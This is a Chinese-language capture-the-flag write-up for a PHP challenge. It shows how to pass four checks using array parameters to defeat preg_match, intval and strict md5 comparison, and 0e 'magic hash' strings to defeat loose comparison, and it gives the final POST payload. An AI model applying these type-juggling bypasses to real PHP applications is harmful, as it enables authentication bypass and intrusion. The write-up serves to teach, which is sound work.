打开题目,显示如下代码
<?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
if(isset($_POST['b1'])&&$_POST['b2']){
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
echo $flag;
}else{
echo "yee";
}
}else{
echo "nop";
}
}else{
echo "go on";
}
}else{
echo "let's get some php";
}
?>
通过观察代码,可发现需要通过四个if判断才能拿到我们的flag
首先第一个if
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a']))
这里我使用的是数组绕过,传参 a[]=1
第二个if与第三个if在此处一同分析
if(isset($_POST['b1'])&&$_POST['b2'])
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2']))
第二个if,将b1与b2设置值即可通过
第三个if,这里要求b1!=b2,但是又要求md5值相同,在这里也同样是用到了数组绕过,如果md5() 中传入的不是字符串而是数组,不但md5()函数不会报错,结果还会返回null,在强比较(===)里面null=null为true绕过,b1与b2设置不同的值即可,此处传参 b1[]=1&b2[]=2 即可绕过
第三个if
if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2']))
此处是php的弱比较
例如
<?php
$a="s878926199a";
$b="s155964671a";
if($a!=$b&& md5($_POST['a'])==md5($_POST['b'])){
echo ("success!");
}
else echo ("failed");
?>
输出结果
success!
$a和$b都传入md5()后,得到值为0e开头的数据,会将其识别为科学计数法,结果都为零
此处附上一位大佬的 0e开头MD5值小结
第四个if 传参 c1=s878926199a&c2=s155964671a
最后本题使用post传入以下参数
a[]=1&b1[]=1&b2[]=2&c1=s878926199a&c2=s155964671a
结果
拿到flag